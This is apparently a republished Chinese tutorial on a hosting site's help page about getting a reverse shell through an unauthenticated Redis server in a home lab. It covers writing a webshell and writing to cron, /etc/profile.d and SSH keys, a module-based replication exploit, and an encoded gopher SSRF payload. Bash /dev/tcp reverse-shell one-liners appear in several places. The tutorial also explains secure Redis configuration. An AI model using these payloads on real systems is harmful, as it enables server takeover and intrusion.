首页
最新活动
服务器租用
香港服务器租用
台湾服务器租用
美国服务器租用
日本服务器租用
新加坡服务器租用
高防服务器
香港高防服务器
台湾高防服务器
美国高防服务器
裸金属
香港裸金属服务器
台湾裸金属服务器
美国裸金属服务器
日本裸金属服务器
新加坡裸金属服务器
云服务器
香港云服务器
台湾云服务器
美国云服务器
日本云服务器
CDN
CDN节点
CDN带宽
CDN防御
CDN定制
行业新闻
官方公告
香港服务器资讯
帮助文档
wp博客
zb博客
服务器资讯
联系我们
关于我们
机房介绍
机房托管
登入
注册
帮助文档
专业提供香港服务器、香港云服务器、香港高防服务器租用、香港云主机、台湾服务器、美国服务器、美国云服务器vps租用、韩国高防服务器租用、新加坡服务器、日本服务器租用 一站式全球网络解决方案提供商!专业运营维护IDC数据中心,提供高质量的服务器托管,服务器机房租用,服务器机柜租用,IDC机房机柜租用等服务,稳定、安全、高性能的云端计算服务,实时满足您的多样性业务需求。 香港大带宽稳定可靠,高级工程师提供基于服务器硬件、操作系统、网络、应用环境、安全的免费技术支持。
联系客服
服务器资讯
/
香港服务器租用
/
香港VPS租用
/
香港云服务器
/
美国服务器租用
/
台湾服务器租用
/
日本服务器租用
/
官方公告
/
帮助文档
从0到1浅析Redis服务器反弹Shell那些事
发布时间:2024-03-07 14:03:10 分类:帮助文档
从0到1浅析Redis服务器反弹Shell那些事 文章目录 前言Redis服务1.1 特点与应用1.2 安装与使用1.3 语法和配置1.4 未授权访问 反弹Shell2.1 Web服务写入Webshell2.2 Linux定时任务反弹shell2.3 /etc/profile.d->反弹shell2.4 写入ssh公钥登录服务器2.5 利用Redis主从复制RCE2.6 SSRF漏洞组合拳->RCE 总结 前言 2020 年曾在 渗透测试-Weblogic SSRF漏洞复现 一文中通过 SSRF 探测到局域网内的 Redis 服务器,并借助其未授权访问(登录)漏洞反弹 Shell,然而回首发现当时并未说清楚、弄明白借助 Redis 反弹 Shell 的真实原理(说白了当时太水了……复现漏洞走马观花,实打实的脚本小子)。 与此同时,在各大安全社区的文章中不难发现,借助 Redis 服务器反弹 Shell 基本上属于攻防实战中获取服务器权限的常规操作了。本文将从 0 到 1 学习下 Redis 服务器反弹 Shell 的各路姿势,并从中进一步理解 Linux 服务器定时任务、公钥登录等特性在网络攻防中的应用。 Redis服务 Redis(Remote DIctionary Server,远程字典服务) 是一个 key-value 存储系统,是跨平台的非关系型(Nosql)数据库。它是一个开源的使用 ANSIC 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库,并提供多种语言的 API。 Redis 基础教程请参见:菜鸟教程—Redis教程。 1.1 特点与应用 Redis的特点 Redis 有几个主要特点,使它优越于其他键值数据存储系统: Redis 将其数据库完全保存在内存中,仅使用磁盘进行持久化,这使得 Redis 具有很高的读写性能,适用于对响应速度要求较高的应用场景,比如缓存系统;Redis 支持多种数据结构,不仅仅支持简单的 key-value 类型的数据,还提供了 list、set 和 hash 等更复杂的数据结构的存储;Redis 支持数据的备份,可以通过主从模式(master-slave)进行数据备份,增加了数据的可靠性和安全性。 Redis的应用场景 缓存服务器几乎是现在所有中大型网站都在用的必杀技,合理利用缓存不仅能够提升网站访问速度,还能大大降低数据库的压力。Redis 提供了键过期功能,也提供了灵活的键淘汰策略,同时与 MySQL 数据库不同的是,Redis 的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过 10 万次读写操作。因此 Redis 被广泛应用于缓存。 来看看网上一张关于企业通过阿里云进行业务上云的架构方案图: 可以看到,Redis 服务器在这里就被用于分担阿里云 RDS 数据库服务器的访问压力。 此时 Redis 缓存服务器的工作逻辑:接收到用户发送的数据读取请求后,先查下自身缓存,缓存有值命中,就直接返回;缓存没命中,就去 RDS 数据库查询,然后把数据库的值更新到缓存,再返回给用户。 基于上述工作逻辑,我们需要进一步了解到 Redis 服务关于 缓存穿透 与 缓存雪奔 的概念。 缓存穿透:指查询一个一定不存在的数据,由于缓存是不命中时需要从数据库查询,查不到数据则不写入缓存,这将导致这个不存在的数据每次请求都要到数据库去查询,进而给数据库带来压力。 通俗点说,读请求访问时,缓存和数据库都没有某个值,这样就会导致每次对这个值的查询请求都会穿透到数据库,这就是缓存穿透。 缓存穿透一般都是这几种情况产生的: 业务不合理的设计,比如大多数用户都没开守护,但是你的每个请求都去缓存,查询某个userid查询有没有守护;业务/运维/开发失误的操作,比如缓存和数据库的数据都被误删除了;黑客非法请求攻击,比如黑客故意捏造大量非法请求,以读取不存在的业务数据。 缓存雪奔: 指缓存中数据大批量到过期时间,而查询数据量巨大,请求都直接访问数据库,引起数据库压力过大甚至宕机。 缓存雪奔一般是由于大量数据同时过期造成的,对于这个原因,可通过均匀设置过期时间解决,即让过期时间相对离散一点,如采用一个较大固定值+一个较小的随机值,5小时 +0 到 1800 秒这样子。Redis 故障宕机也可能引起缓存雪奔,这就需要构造 Redis 高可用集群啦。 我们在项目中使用 Redis,肯定不会是单点部署 Redis 服务的。因为,单点部署一旦宕机,就不可用了。为了实现高可用,通常的做法是,将数据库复制多个副本以部署在不同的服务器上,其中一台挂了也可以继续提供服务。Redis 实现高可用有三种部署模式:主从模式,哨兵模式,集群模式。 在主从模式中,Redis 部署了多台机器,有主节点,负责读写操作,有从节点,只负责读操作。而从节点的数据来自主节点,实现原理就是主从复制机制。主从复制包括全量复制,增量复制两种。一般当 slave 第一次启动连接 master,或者认为是第一次连接,就采用全量复制。而当 slave 与 master 全量同步之后,master 上的数据如果再次发生更新,就会触发增量复制。 更多 Redis 服务的知识介绍请参见:【超级详细】一文搞懂redis的所有知识点、如何最简单、通俗地理解redis数据库?。 1.2 安装与使用 此处我采用的 Ubuntu 虚拟机来搭建 Redis 数据库服务。 在 Ubuntu 系统安装 Redis 可以使用以下命令: # 安装redis sudo apt update sudo apt install redis-server # 启动 Redis redis-server # 查看redis是否启动,可通过客户端管理工具连接 redis-cli 解释一下,Redis 分为服务端和客户端的,Redis 在安装完成之后会有 redis-cli 客户端管理工具: redis-cli -h host # 免密登录 redis-cli -h host -p port -a password # 使用 Redis 密码登录 Redis 服务 与 Redis 服务连接成功后,执行 PING 命令,如果服务器运作正常的话,会返回一个 PONG,如下所示(证明我们已经成功安装 Redis 数据库服务): 其他操作系统安装 Redis 数据库服务的方法请参见:Redis 菜鸟教程。 1.3 语法和配置 Redis 键命令的基本语法为: 使用 SET 和 GET 命令,可以完成基本的赋值和取值操作;使用 * 可以获取所有配置项(GET 、 KEYS);Redis 不区分命令的大小写,set 和 SET 是同一个意思;如果键的值中有空格,需要使用双引号括起来; 常见的一些 Redis 操作和命令如下: SET key "Hello World" # 设置键 key 的值为字符串 Hello World GET key # 获取键 key 的值,如果 key 不存在,返回 nil 。如果key 储存的值不是字符串类型,返回一个错误 DEL key # 删除键 key KEYS * # 获取 redis 中所有的 key,Keys 命令用于查找所有符合给定模式 pattern 的 key SAVE # 用于创建当前数据库的备份,在 redis 安装目录中创建dump.rdb文件 CONFIG GET * # 用于获取 redis 服务所有配置项 CONFIG GET requirepass # 用于获取 redis 服务的配置参数,通过 CONFIG 命令查看或设置配置项 CONFIG REWRITE requirepass "123456" # 对 redis.conf 配置文件进行改写,重启后才会被修改 CONFIG SET requirepass "123456" # 动态地调整 Redis 服务器的配置(configuration)而无须重启 Flushall # 用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key) SELECT index # Redis Select 命令用于切换到指定的数据库,数据库索引号 index 用数字值指定,以 0 作为起始索引值。 Redis 服务提供了多个配置项(位于redis.conf配置文件中): 部分核心安全配置项及其含义如下: 配置项含义port 6379指定 Redis 监听端口,默认端口为 6379bind 127.0.0.1绑定的主机地址,格式为 bind 后面接 IP 地址,可以同时绑定在多个 IP 地址上,IP地址之间用空格分离,如 bind 192.168.1.100 10.0.0.1;如果没有指定 bind 参数,则绑定在本机的所有 IP 地址上save
指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合dbfilename dump.rdb指定本地数据库文件名,默认值为 dump.rdbdir ./指定本地数据库存放目录,指明 Redis 的工作目录为设定的目录,Redis 产生的备份文件将放在这个目录下requirepass foobared设置 Redis 连接密码,如果配置了连接密码,客户端在连接 Redis 时需要通过 AUTH
命令提供密码,默认关闭protected-moderedis3.2 版本后新增 protected-mode 配置,默认是 yes ,用于设置外部网络连接 redis 服务。关闭 protected-mode 模式,此时外部网络可以直接访问;开启 protected-mode 保护模式,需配置 bind ip 或者设置访问密码 1.4 未授权访问 从上面的介绍中不难看出,由于 Redis 默认不开启连接密码保护,这直接导致了暴露在公网中的 Redis 服务存在未授权访问的安全风险。 但与此同时, redis 3.2.0 版本后 redis.conf 配置文件中还有两个比较重要的参数: bind 以及 protected-mode。经过验证,唯有以下情况可以满足未授权访问 Redis: 未开启登录认证(即没有配置登录密码,默认即可满足),设置 bind 参数将 redis 绑定到了 0.0.0.0(意味着当前主机所有 IP 都能访问,比如公网 IP、局域网 IP);未开启登录认证(即没有配置登录密码,默认即可满足),未绑定 redis 到任何地址 (即将 bind 参数注释掉),同时关闭保护模式(设置 protected-mode 的参数为 no)。 以下是我上述 Ubuntu 虚拟机安装 Redis 后的相关默认配置: 可以看见,由于此时 Redis 数据库服务默认绑定了 127.0.0.1 的 IP 地址,这将导致只允许 Ubuntu 虚拟机本地访问,也就不存在公网未授权访问的安全风险,意味着默认安全(虽然未配置登录密码,但是仅允许本机器访问,除非本机器已被攻陷,否则可以视为安全)。 我们通过局域网的 Kali 虚拟机来验证下是否能未授权登录: 可以看到,Kali 尝试未授权连接局域网 Redis 失败,因为 Redis 此时仅限其自身服务器本地连接。 为了进行安全研究,我们手动将 Redis 的 bind 配置项修改为 0.0.0.0 并重启下 Redis 服务(sudo /etc/init.d/redis-server restart): 此时再局域网 Kali 攻击机就能成功未授权连接、访问 Ubuntu 虚拟机上的 Redis 服务了: 至此,Redis 服务的基础知识以及其未授权访问的风险介绍完毕,可见运维或开发人员在使用 Redis 数据库服务的时候一定要注意安全配置,务必设置登录密码,同时不要将 bind 配置参数设置为 0.0.0.0 或者完全注释掉,避免服务暴露到公网。 0.0.0.0 表示本机中所有的 IPV4 地址,监听 0.0.0.0 的端口,就是监听本机中所有 IP 的端口,同理绑定 0.0.0.0 的 IP,则代表绑定本机所有 IP。 反弹Shell 以下我们讨论的是,万一开发人员或运维人员不小心将 Redis 服务暴露在公网(有时候也有实际业务需求)且未开启密码登录保护的情况下,如何通过连接 Redis 服务后进一步控制服务器。 2.1 Web服务写入Webshell 在 Redis 存在未授权访问的情况下,如果探测到该 Redis 服务器主机上也开启了 Web 服务的情况下(一般业务服务器不会跟数据库缓存服务器同在一台主机),通过信息泄露知道 Web 目录的路径,同时具有文件读写权限,就可以通过 Redis 在指定的 Web 目录下写入 Webshell 文件来获得服务器控制权。 下面我通过在 Ubuntu 虚拟机上搭建 Apache HTTP 服务来进行实验: # 安装 php 环境和 apache 服务 sudo apt install apache2 sudo apt install libapache2-mod-php Apache HTTP 服务默认 80 端口,网站 Web 目录位于 /var/www/html/: 可创建 php 测试文件: 那么 Kali 攻击机可以通过连接 Redis 服务后,写入如下指令,上传 Webshell 到 Apache 服务器 Web 工作目录: config set dir /var/www/html/ config set dbfilename shell.php set xxx "" save 结果发现写入失败: 返回 Ubuntu 查询 Redis 日志(sudo tail /var/log/redis/redis-server.log),发现是缺乏写权限: 需要 root 用户才能往 Web 目录写文件,但是高版本的 Redis 默认是以 redis 用户的身份启动和运行的: 可见在真实网络攻防环境中,想要利用 Redis 写入 Webshell 的预置条件是很高的,比如此处至少需要开发人员将 Redis 服务以 root 权限运行。 为了继续演示,那就以 root 身份运行 Redis 吧(先执行 /etc/init.d/redis-server stop 暂停原有服务): 然而问题又来了……此时居然 Kali 无法远程访问 Redis 了(我怀疑是 root 身份运行 Redis 时,Redis 默认安全策略导致本地redis.conf配置文件 bind 0.0.0.0 未生效导致的): 此时我有点不淡定了……但是实验还得继续,最后发现有两种方法解决该问题: 执行命令 sudo redis-server /etc/redis/redis.conf,使得配置文件对当前 root 身份运行的 Redis 进程生效即可:或者根据报错提示,执行 sudo redis-server --protected-mode no 重新启动 Redis 同时使得保护模式被关闭也可以; 注意由于我更换了局域网,所以 Ubuntu IP 已变更为 192.168.2.228: 返回 Ubuntu,可以看到已经成功写入 Webshell 了: 最后 Windows 物理机上哥斯拉连接: 成功获得 shell: 综上所述,可以看到 Redis 服务在被攻击者通过未授权访问漏洞或者弱口令爆破控制以后,攻击者想要获得 Webshell 的门槛和条件是很苛刻的: Redis 服务未开启 IP 地址绑定(如只允许本机 IP 访问)的安全保护;Redis 服务所在服务器需要同时运行着 Web 业务服务(大厂商的日子一般不至于这么拮据……);服务器的 Web 服务的工作路径信息泄露;Redis 服务以高权限(如 root )身份运行,具备读写 Web 服务工作目录的能力。 但是上述实验过程还是给我们进一步利用 Redis 服务攻击目标服务器提供了潜在的可行攻击路径。同时也解释了 渗透测试-Weblogic SSRF漏洞复现 一文中,通过 SSRF 漏洞 + Redis 未授权漏洞获得 Webshell 的原理。 2.2 Linux定时任务反弹shell Linux 定时任务类似于生活中使用的闹钟,可以自动完成操作命令(比如定时备份系统数据信息)。 crontab命令常见于 Unix 和类 Unix 的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于 “crontab” 文件中,以供之后读取和执行。通常,crontab 储存的指令被守护进程激活,crond 常常在后台运行,每一分钟检查是否有预定的作业需要执行,如果有要执行的工作便会自动执行该工作。注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行。 cron 默认配置了调度任务,分别为:hourly、daily、weekly、mouthly,默认配置文件为 /etc/anacrontab。举个例子,系统控制每小时定时任务目录:/etc/cron.hourly,hourly 内的可执行文件(比如.sh文件)每小时都会从头到尾的执行一遍,将需要执行的脚本放到相应的目录下即可。相应的,系统还有每天、每周、每月定时任务的默认目录,如下: crontab 命令 /sbin/service crond start //启动服务 /sbin/service crond stop //关闭服务 /sbin/service crond restart //重启服务 /sbin/service crond reload //重新载入配置 crontab -l //列出某个用户cron服务的详细内容 crontab -r //删除某个用户的cron服务 crontab -e //编辑某个用户的cron服务 cron 相关语法 每一条定时任务都由以下几个部分组成: | 分 | 小时 | 日 | 月 | 星期 | 命令 | 0-59 0-23 1-31 1-12 0-6 command (取值范围,0表示周日一般一行对应一个任务) 如果 command 放脚本文件,这样就能定时执行脚本内容。下面举两个个例子: 1)每分钟写入 “123” 到固定文件中。 [root@izwz9 ~]# crontab -e //编辑定时任务列表 */1 * * * * echo 123 >> /root/a.txt //写入定时任务后保存并退出 [root@izwz9 ~]# /sbin/service crond restart //重启,一分钟后出现/root/a.txt 2)每天凌晨自动重启 pm2 : [root@izwz9 ~]# crontab -e //编辑定时任务列表 0 0 */1 * * /bin/sh /root/restartTask.sh //写入定时任务后保存并退出 [root@izwz9 ~]# /sbin/service crond restart //重启 /root/restartTask.sh 文件中存放脚本内容,内容如下: #!/bin/bash source ~/.bashrc /www/node-v8.10.0-linux-x64/bin/pm2 restart looovoTask 实践体验 在 Ubuntu 虚拟机中新增定时任务如下: 增加的反弹 Shell 的定时任务: */1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.126/6666 0>&1 静候 1 分钟,可以看到定时任务被执行了, Kali Linux 成功获得 Ubuntu Shell: 衍生攻击手段 基于以上 Linux 系统的定时任务特性,我们在获得 Redis 服务访问权限后,可以在目标主机的定时任务文件中写入一个反弹 shell 的脚本,从而获得目标设备的控制权。 但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们反弹 shell 的命令是要写在 /var/spool/cron/[crontabs]/
内的,所以必须要知道远程主机当前的用户名,否则就不能生效。 比如,当前用户名为 root,我们就要将 Webshell 内容写入到: Linux系统路径Centos 系列/var/spool/cron/rootDebian/Ubuntu 系列/var/spool/cron/crontabs/root 完整的 Redis 客户端命令,对于 Centos 如下: config set dir /var/spool/cron config set dbfilename root set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.2.11/6666 0>&1\n\n" save 对于 Ubuntu: config set dir /var/spool/cron/crontabs config set dbfilename root set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.2.11/6666 0>&1\n\n" save 以 Ubuntu 为例进行演示: 成功写入定时任务,但是反弹 Shell 是失败的。 参考 《纸上得来终觉浅——Redis 个人总结》 可以得知通过定时任务反弹 Shell 的方式在 Ubuntu 上行不通: 因为默认 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件 /var/spool/cron/crontabs/
权限必须是 600 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定时任务文件 /var/spool/cron/
权限 644 也可以执行;因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错。 本人没安装 Centos 虚拟机,参见大佬们的演示截图吧: 同样的,由于定时任务的路径权限所限,Redis 服务进程必须以高权限运行,否则此攻击方式也将无效。 2.3 /etc/profile.d->反弹shell Ubuntu 通过定时任务无法轻易反弹 Shell 的话,我们还可以借助 Linux 的环境变量配置来完成此任务。 简单理解下环境变量:在 Windows系统下,很多软件的安装都需要设置环境变量,比如安装 JAVA JDK。如果不安装环境变量,在非软件安装的目录下运行 javac 命令,将会报告“找不到文件”类似的错误。那么,什么是环境变量呢?简要的说,就是指定一个目录,运行软件的时候,相关的程序将会按照该目录寻找相关文件。 在 Linux 系统下,如果你下载并安装了应用程序,很有可能在键入它的名称时出现 “command not found” 的提示内容。如果每次都到安装目标文件夹内,找到可执行文件来进行操作就太繁琐了。这涉及到环境变量 PATH 的 设置 问题,而 PATH 的设置也是在 Linux 下定制环境变量的一个组成部分。 Linux配置系统环境的完整方式:操作系统:Linux 环境变量配置的 6 种方法。 一般情况下,我们配置环境变量时,都是通过 /etc/profile 文件进行配置。在环境变量配置不多时,我们的确可以这么做。但是环境变量要是很多呢?岂不是每次都要编辑这个文件,新增对应的环境变量。如果这样的话,我们要删除之前新增的环境变量,也只能在 /etc/profile 里慢慢找,逐个删除,这就很麻烦。 那有没有更好的办法呢?有的,那就是使用/etc/profile.d/,在这个目录下新增环境配置文件即可。/etc/profile.d/这个目录是用来干嘛的呢?简单来说,它和 /etc/profile 的功能可以说是一样的,系统启动或者用户重新登录 shell 后,这个目录下的 .*sh 文件会自动执行,解析后配置到环境变量中。 看下/etc/profile里是怎么写的: 那么使用 /etc/profile.d/ 的好处是什么呢?那就是解耦环境变量。试想一下,我们在 /etc/profile.d/ 配置了某个环境变量配置文件,什么时候我们不在需要这个环境变量了,我们只需要删掉这个.sh文件即可,不用再改/etc/profile,是不是就方便多了。 以 JAVA 环境配置为例,可以新增/etc/profile.d/java.sh,文件内容如下: JAVA_HOME=/usr/local/jdk1.8.0_301 JRE_HOME=/usr/local/jdk1.8.0_301/jre CLASS_PATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin export PATH 此处我试验一下,以 root 权限创建一个反弹 Shell 的/etc/profile.d/test.sh文件: 然后通过 Windows 物理机 SSH 登录 Ubuntu 虚拟机: 此时 Kali 攻击机即可获得 Ubuntu 虚拟机 Shell: 那么,我们同样来试下通过 Redis 写入恶意环境变量配置环境并反弹 Shell 是否可行。 config set dir /etc/profile.d/ config set dbfilename evil.sh set xxx "\r\n\r\n/bin/bash -i >& /dev/tcp/192.168.2.11/6666 0>&1 &\r\n\r\n" save 成功创建文件 evil.sh,但是却是乱码,无法反弹 Shell…… Ubuntu 这个巨坑……建议大家不要再用 Ubuntu 来实践 Redis 的攻击利用了。 2.4 写入ssh公钥登录服务器 在使用 SSH 客户端远程连接 Linux 服务器时,为了考虑安全方面的因素,可以使用公私钥对的方式来替代密码进行登录。 如果目标服务器上 Redis 以 root 身份运行,可以可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,然后攻击者便可以直接通过 SSH 私钥远程登录目标服务器。 此处只提供利用思路,不再动手复现了,环境太坑,过多浪费时间了。实际攻防实践中遇到此场景的话(公网高版本 Redis 以 root 身份运行的利用条件从上面可看出很苛刻),再查阅具体资料解决,此处只记录利用思路。 2.5 利用Redis主从复制RCE Redis 是一个使用 ANSIC 编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个 Redis 的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis 就提供了主从模式,主从模式就是指使用一个 redis 实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。 在 Reids 4.x 之后,Redis 新增了模块功能,通过外部拓展,可以实现在 Redis 中实现一个新的 Redis 命令,通过写 C 语言编译并加载恶意的 .so 文件,达到代码执行的目的。 编写恶意 so 文件的代码:RedisModules-ExecuteCommand,下载后用 make 编译即可生成: git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git cd RedisModules-ExecuteCommand/ make # 生成 /RedisModules-ExecuteCommand/src/module.so cd .. git clone https://github.com/Ridter/redis-rce.git cd redis-rce/ cp ../RedisModules-ExecuteCommand/src/module.so ./ pip install -r requirements.txt python redis-rce.py -r 192.168.10.187 -p 6379 -L 192.168.10.1 -f module.so 在两个 Redis 实例设置主从模式的时候,Redis的主机实例可以通过 FULLRESYNC 同步文件到从机上。然后在从机上加载 so 文件,我们就可以执行拓展的新命令并反弹获得 Shell 了。同时在 Github 已有公开的 Getshell Python脚本 redis-rce 可以拿来直接食用。 此处只记录利用思路,同样不再动手复现,有需求再查阅资料。需要注意的是,主从复制的利用版本是 4.x-5.x,从 6.0 开始,就无法利用成功,写入 exp.so 也是可以的,module 加载时会失败,提示没有权限,给 exp.so 权限后时可以的。 2.6 SSRF漏洞组合拳->RCE 2020 年曾在 渗透测试-Weblogic SSRF漏洞复现 一文中通过 SSRF 探测到局域网内的 Redis 服务器,并借助其未授权访问(登录)漏洞反弹 Shell。其中反弹 Shell 部分是通过 SSRF 漏洞发送 HTTP 请求给 Redis 服务并传输借助 Linux 定时任务反弹 Shell 的 Redis Payload: 但是此处使用 HTTP 协议传输 Redis Payload 的方法并不是在所有场景都适用。而在 Redis 服务的攻击利用中,常用的还有另外一种协议:gother://协议。 gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。协议格式如下: gopher://
:
//
_后接TCP数据流 这里介绍一个 Gophar 协议利用工具 Gopharus,该工具将帮助我们生成 Gopher 有效负载,以利用 SSRF(服务器端请求伪造)并获得 RCE(远程代码执行)。 而且它将帮助我们在受害服务器上获得 shell,使用方法非常简单,按照提示就可以生成 payload 了 python gopherus.py --exploit redis 结合 SSRF 对应的 Payload 格式: http://10.1.8.159/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%34%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%37%25%37%32%25%36%35%25%36%34%25%36%39%25%37%33%25%32%37%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%32%66%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%36%38%25%36%66%25%37%33%25%37%34%25%35%66%25%33%38%25%33%30%25%32%66%25%37%37%25%37%37%25%37%37%25%37%32%25%36%66%25%36%66%25%37%34%25%32%30%25%32%30%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35 更多 Redis + SSRF 反弹 Shell 的资料可以参见: 当SSRF遇上Redis;SSRF攻击内网Redis;浅析Redis中SSRF的利用;SSRF + Redis 利用方式学习笔记 ; 总结 本文学习了 Redis 服务的作用,并本地搭建了 Redis 服务,同时介绍了其相关基础使用方法和核心安全配置。然后总结分析了 Redis 未授权访问漏洞或弱口令导致 Redis 服务被攻击者操控后,如何进一步通过反弹 Shell 接管服务器。 整体而言,Redis 服务想要获得 RCE 的条件是比较苛刻的,需要具备配置公网访问、未开启 IP 地址绑定、以 Root 身份运行等前提,这些都需要开发或运维人员错误配置的情况下才有可能成功利用。 这期间也学习了通过 Linux 定时计划任务、/etc/profile.d环境变量配置、公私钥登录等特性反弹 Shell 的技巧,攻防实践中请注意,如果目标服务器存在 任意文件上传 + 路径穿越漏洞导致任意文件覆写这类的漏洞的话,我们也同样可以采用 Linux 这几个特性来反弹 Shell 并控制服务器。 本文参考文章: 如何最简单、通俗地理解redis数据库?;【超级详细】一文搞懂redis的所有知识点;纸上得来终觉浅:Redis 个人总结;Redis未授权访问漏洞复现与利用;SSRF + Redis 利用方式学习笔记 ;
上一篇
人工智能服务器租用多少钱
下一篇
香港wtt广告运动员
相关文章
你知道服务器CPU密集型和IO密集型吗?(论点-概念、区别、场景、辨别)
远程进入服务器界面黑屏如何处理?
Win搭建PalWorld服务器,幻兽帕鲁开服联机教程,0基础保姆级教程
2024年幻兽帕鲁服务器自建教程
Ubuntu20.04 安装 NVIDIA 显卡驱动
什么是OTP认证?OTP认证服务器有哪些应用场景?
Linux网络服务----SSH
阿里云怎么管理员密码
香港名德有限公司怎么样
香港云服务器租用推荐
服务器租用资讯
·广东云服务有限公司怎么样
·广东云服务器怎么样
·广东锐讯网络有限公司怎么样
·广东佛山的蜗牛怎么那么大
·广东单位电话主机号怎么填写
·管家婆 花生壳怎么用
·官网域名过期要怎么办
·官网邮箱一般怎么命名
·官网网站被篡改怎么办
服务器租用推荐
·美国服务器租用
·台湾服务器租用
·香港云服务器租用
·香港裸金属服务器
·香港高防服务器租用
·香港服务器租用特价
7*24H在线售后
高可用资源,安全稳定
1v1专属客服对接
无忧退款试用保障
德讯电讯股份有限公司
电话:00886-982-263-666
台湾总部:台北市中山区建国北路一段29号3楼
香港分公司:九龙弥敦道625号雅兰商业二期906室
服务器租用
香港服务器
日本服务器
台湾服务器
美国服务器
高防服务器购买
香港高防服务器出租
台湾高防服务器租赁
美国高防服务器DDos
云服务器
香港云服务器
台湾云服务器
美国云服务器
日本云服务器
行业新闻
香港服务器租用
服务器资讯
香港云服务器
台湾服务器租用
zblog博客
香港VPS
关于我们
机房介绍
联系我们
Copyright © 1997-2024 www.hkstack.com All rights reserved.